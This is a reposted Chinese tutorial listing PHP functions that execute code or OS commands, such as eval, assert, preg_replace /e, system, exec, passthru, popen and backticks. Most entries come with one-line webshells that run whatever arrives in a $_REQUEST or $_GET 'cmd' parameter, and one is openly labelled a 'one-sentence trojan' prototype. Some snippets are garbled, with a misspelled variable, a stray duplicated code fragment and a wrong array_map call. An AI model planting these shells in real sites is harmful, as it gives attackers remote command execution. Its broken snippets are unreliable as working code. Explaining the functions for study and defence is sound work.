PHP危险函数

news2024/12/16 15:55:48

PHP危险函数

文章目录

  • PHP危险函数
      • PHP 代码执行函数
        • eval 语句
        • assert()语句
        • preg_replace()函数
          • 正则表达式里
          • 修饰符
      • 回调函数
        • call_user_func()函数
        • array_map()函数
      • OS命令执行函数
        • system()函数
        • exec()函数
        • shell_exec()函数
        • passthru() 函数
        • popen 函数
        • 反引号``
    • 实列

通过构造函数可以执行系统命令达到非法控制计算机被视为危险函数

PHP 代码执行函数

字符串当中PHP代码来执行

eval 语句

eval() 会将符合PHP 语法规范字符串当作php 代码执行

这个语句只能执行php代码不能执行系统命令但能调用system()函数来实现系统命令

$code = $_REQUEST['code'];
eval($code);

通过简写就是一句话木马的原型

@eval($ REQUEST['code']);

也可以嵌入eval(eval());的形式来执行

assert()语句
  • assert() 只能执行单条PHP 语句
  • 在低版本中assert() 是一个函数,可以动态调用。
  • 高版本PHP 中,7.2.0被弃用在8.0.0的assert语句已经被淘汰了
$code=$_REQUEST['code'];
assert($code);

因为每次只能执行一条语句如果想实现一句话木马可以以编码的形式进行
在这里插入图片描述

preg_replace()函数

preg_replace 执行一个正则表达式的搜索和替换

正则表达式:一类字符特征

preg_replace(“/正则表达式/修饰符”,“要替换的字符”,“目标字符串”)

在第二个参数里"\\1"是第一个匹配到的字符

正则表达式里

.*是表示匹配所有

修饰符

i匹配大小写

e将匹配到符合php代码的字符执行

回调函数

一个函数调用另外一个函数。PHP 语言中回调函数有很多。

call_user_func()函数

特点

  • 只能调用函数
  • 不能用结构语句

用assert执行phpinfo函数

$func = 'assert';
$arg = "phpinfo();";
call_user_func($func, $arg);
array_map()函数

参数必须为数组

$func = 'assert';
$arg[] = "phpinfo();";
array_map($func, $arg);

OS命令执行函数

OS命令执行函数:把字符串当作系统命令执行

system()函数

是一个典型的系统命令执行函数

特点

  • 自带输出功能
  • 自动区分系统平台
<?php
    $cmd=$_REQUEST['cmd'];
	system($cmd);
    ?>
exec()函数

将字符串当作代码执行

特点:

  • 能执行系统命令
  • 不自带输出
  • 只输出命令执行结果的最后一行
<?php
    $cmd = "ipconfig";
	var_dump(exec($cmd));
    ?>
shell_exec()函数

特点:

  • 通过 shell 执行命令并将完整的输出以字符串的方式返回
  • 不自带输出
<?php
    $cmd =$_REQUEST["cmd"];
	echo shell_exec($cmd);
    ?>
passthru() 函数

执行外部程序并且显示原始输出
特点

  • 能执行系统命令
  • 自带输出功能
<?php   
    $cmd =$_REQUEST["cmd"];    		passthru($cmd); 
?>
popen 函数

特点

  • 把命令结果当作成一个文件
  • 不自带输出功能
  • 函数返回值为文件指针,可以简单理解为文件名

想要输出结果要使用fread函数有两个参数一个是要读的文件另一个是字节数
在这里插入图片描述
模式。‘r’ 表示阅读,‘w’ 表示写入。

<?php
    $cmd=$_REQUEST["cmd"];
	$result=popen($cmd,"r");
	echo fread($resukt,1024);
反引号``

反引号` 内的字符串,会被解析成OS 命令。


$cmd = "whoami";
$cmd = "ipconfig";
$cmd = "net user";
echo "<pre>".`$cmd`;
n($cmd,"r");
	echo fread($resukt,1024);

实列

  1. system
    以字符串的形式执行系统命令并自带回显
<?php
    system($_GET['cmd']);
?>

在这里插入图片描述
2. exec
用字符串的形式执行系统命令不自带回显,用echo只能输出末一行用来确认代码是否执行成功

<?php 
   echo exec($_REQUEST['cmd']);
?>

在这里插入图片描述
3. shell_exec
通过 shell 执行命令后并将完整的输出以字符串的方式返回
函数本身不自带回显功能

<?php 
  echo shell_exec($_REQUEST['cmd']);
?>

在这里插入图片描述
4. passthru
执行外部程序并且显示原始输出

<?php 
  passthru ($_REQUEST['cmd']);
?>

在这里插入图片描述
5. popen
打开一个指向进程的管道,该进程由派生给定的 command 命令执行而产生。

<?php
echo fread(popen($_REQUEST['cmd'],'r'),1024);
?>

在这里插入图片描述

  1. ``反引号
    反引号` 内的字符串,会被解析成OS 命令
<?php
    $a=$_REQUEST['cmd'];
    echo `$a`;
?>

在这里插入图片描述
7. eval
eval() 会将符合PHP 语法规范字符串当作php 代码执行

<?php
echo @eval ($_REQUEST['cmd']);
?>

在这里插入图片描述

  1. assert
<?php
	assert($_REQUEST['cmd']);
	?>

在这里插入图片描述

  1. preg_replace
<?php
   echo  preg_replace('~\[(.*)\]~e','\\1','[phpinfo()]');  
?>

在这里插入图片描述

  1. call_user_func
<?php
    call_user_func('assert','phpinfo()');
?>

在这里插入图片描述

  1. array_map
    只能执行数组
<?php
    $a[]=phpinfo();
    array_map(assert(),$a);
?>

在这里插入图片描述

  1. 动态函数
$func="system";
$func2="ipconfig";
$func($func2);

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1140622.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

杂牌行车记录仪特殊AVI结构恢复案例

最近遇到一个杂牌的行车记录仪需要恢复数据&#xff0c;其使用AVI格式&#xff0c;但是在扫描恢复的过程中却发现厂家对其AVI结构进行了“魔改”致程序无法正常识别 故障存储:16G SD卡 fat32文件系统 故障现象: 16G的SD卡&#xff0c;在发生事故后客户尝试自行接到手机上读…

小红书素人铺量推广费用是多少?

小红书作为一个拥有庞大用户群体的社交电商平台&#xff0c;在品牌营销和产品推广方面具有巨大的潜力。其中&#xff0c;素人铺量推广作为一种常见的推广方式&#xff0c;被越来越多的品牌和商家所采用。但是&#xff0c;对于很多刚刚接触小红书推广的人来说&#xff0c;素人铺…

二维码智慧门牌管理系统升级解决方案:一级属性 二级属性

文章目录 前言一、什么是智慧门牌管理系统&#xff1f;二、一级属性 vs. 二级属性三、升级中的实践意义 前言 在本文中&#xff0c;我们将深入探讨二维码智慧门牌管理系统的升级解决方案&#xff0c;特别聚焦于一级属性和二级属性的关键概念。我们将详细解释这些概念&#xff…

如何做好建筑翻译呢

近年来&#xff0c;随着跨国工程项目增加&#xff0c;建筑翻译也越来越受到重视。尤其是建筑图纸翻译在工程设计、规划和施工等方面都具有重要意义。那么&#xff0c;如何做好建筑翻译呢&#xff0c;建筑工程翻译哪个比较正规&#xff1f; 在建筑行业日新月异的发展中&#xff…

项目进度延误,危机管理5大注意事项

项目延误危机管理的重要性是不可忽视的。项目延误可能会导致资源浪费、成本增加、客户不满、信誉受损等一系列问题&#xff0c;严重影响项目的成功与效益。因此&#xff0c;有效地进行项目延误危机管理是至关重要的&#xff0c;一般主要是从以下5个方面进行管理&#xff1a; 1、…

python yield用法

用法和ts中的差不多 def test():i[1,2,3,4]for x in i:yield x for j in test():print(j) 使用的时候就会返回一次值 实际使用中可以这样使用&#xff0c;例如我把df按照半小时进行分割&#xff0c;然后分别取处理每半小时的数据 def test():final_df[raw_timestamp] pd.t…

js使用构造函数的注意点?

目录 前言 使用构造函数的注意点 1. 使用 new 关键字 用法 代码示例 理解 2. 构造函数首字母大写 用法 代码示例 理解 3. 在构造函数中返回对象 用法 代码示例 理解 4. 使用原型链 用法 代码示例 理解 总结 前言 JavaScript 是一种基于原型的语言&#xff…

【C#】LIMS实验室信息管理系统源码

一、系统概述 LIMS(Laboratory Information Management System)即实验室信息管理系统,是通过对样品检验流程、分析数据及报告、实验室资源和客户信息等要素的综合管理,按照标准化实验室管理规范,建立符合实验室业务流程的质量体系,实现实验室信息化管理。是实验室提高分析水平…

serverSocket编程DEMO

目录 0、jar包依赖 1、ServerSocket服务端主程序&#xff1a; 2、任务执行类 3、tomcatJdbcPool&#xff1a; 4、客户端&#xff1a; 0、jar包依赖 1、ServerSocket服务端主程序&#xff1a; package socket;import java.net.ServerSocket; import java.net.Socket; impo…

python try-except捕获异常的方法

python try-except捕获异常的方法 执行过程 1、是从try下的代码块1开始执行。 2、如果有异常抛出&#xff0c;异常将被捕获&#xff0c;直接跳转并执行except下的代码块2。、如果代码块1一切正常&#xff0c;没有异常抛出&#xff0c;代码块2就不会执行。 也就是说&#xff…

大语言模型助力审计问题自动定性

国家审计作为以权力监督制约权力的一项制度安排&#xff0c;是党和国家监督体系的重要组成部分&#xff0c;是国家治理大系统中一个内生的具有预防、揭示和抵御功能的“免疫系统”&#xff0c;是国家治理的基石和重要保障&#xff0c;在推进“全面建成小康社会、全面深化改革、…

Lvs+Nginx+NDS

什么是&#xff1f;为什么&#xff1f;需要负载均衡 一个网站在创建初期&#xff0c;一般来说都是只有一台服务器对用户提供服务 ​ 从图里可以看出&#xff0c;用户经过互联网直接连接了后端服务器&#xff0c;如果这台服务器什么时候突然 GG 了&#xff0c;用户将无法访问这…

iOS安全加固方法及实现

​ 目录 iOS安全加固方法及实现 摘要 引言 iOS安全加固方法及实现 一、字符串加密 二、类名方法名混淆 三、程序代码混淆 四、加入安全SDK 总结 参考资料 摘要 本文介绍了iOS平台下的应用安全保护方法&#xff0c;包括字符串加密、类名方法名混淆、程序代码混淆和加入…

input改造文件上传,el-table的改造,点击上传,拖拽上传,多选上传

第一个input标签效果 第二个input标签的效果 el-table的改造效果 <template><div class"outerBox"><div class"analyze" v-if"status"><div class"unFile"><div class"mainBox"><img clas…

如何在日常操作中降低激光切割机的老化速度

光纤激光切割机进入各行各业后给很多行业带来了创新和机遇。光纤激光切割机提升了生产效率、提高了产品品质的、降低了生产成本&#xff0c;节约了加工材料&#xff0c;同时加速了新产品的研发进程。然而光纤激光切割机作为一台机械设备也会面临老化和高能耗的问题。 假如维护保…

WebDAV之π-Disk派盘 + 言叶

言叶是一个功能丰富的笔记软件,为跨平台而设计,可以为你在手机、电脑和其他设备中实现多端同步。从而实现高效率的记事和办公。支持Markdown的语言和多种计算机语法高亮功能,让你笔记中的内容更加主次分明,可以在这里记录一些代码什么的。同时还可以在笔记中插入图片,使其…

安卓开发实例:方向传感器

调用手机的方向传感器&#xff0c;X轴&#xff0c;Y轴&#xff0c;Z轴的数值 activity_sensor.xml <?xml version"1.0" encoding"utf-8"?> <androidx.constraintlayout.widget.ConstraintLayoutxmlns:android"http://schemas.android.c…

微信JSAPI支付对接

简介 JSAPI支付是指商户通过调用微信支付提供的JSAPI接口&#xff0c;在支付场景中调起微信支付模块完成收款。 应用场景 JSAPI支付适用于线下场所、公众号场景和PC网站场景。 商户已有H5商城网站&#xff0c;用户通过消息或扫描二维码在微信内打开网页时&#xff0c;可以调…

我做了一个世界杯的可视化网站...

好吧我是标题党&#xff0c;标题用的是完成时&#xff0c;但是事实上我这个还没完成。 这学期有个数据可视化的作业&#xff0c;遂决定做一个世界杯主题的可视化网站。基于Python、Flask和Echarts。 大概思路可以用下图表示&#xff1a; 因此网站也将分为3个大块&#xff0c;…

解决图表内容超出xy轴范围

问题&#xff1a; 解决方式&#xff1a; xAxis: {boundaryGap: true, // 留白属性 }